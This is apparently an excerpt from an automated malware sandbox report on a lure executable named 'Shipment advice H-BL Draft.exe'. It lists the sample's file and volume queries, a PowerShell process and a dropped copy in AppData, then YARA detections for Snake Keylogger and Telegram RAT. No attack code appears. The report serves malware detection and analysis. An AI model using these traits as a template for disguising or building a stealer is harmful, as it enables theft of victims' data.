Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 0000000D.00000002.3718301984.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3719627669.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack, type: UNPACKEDPE
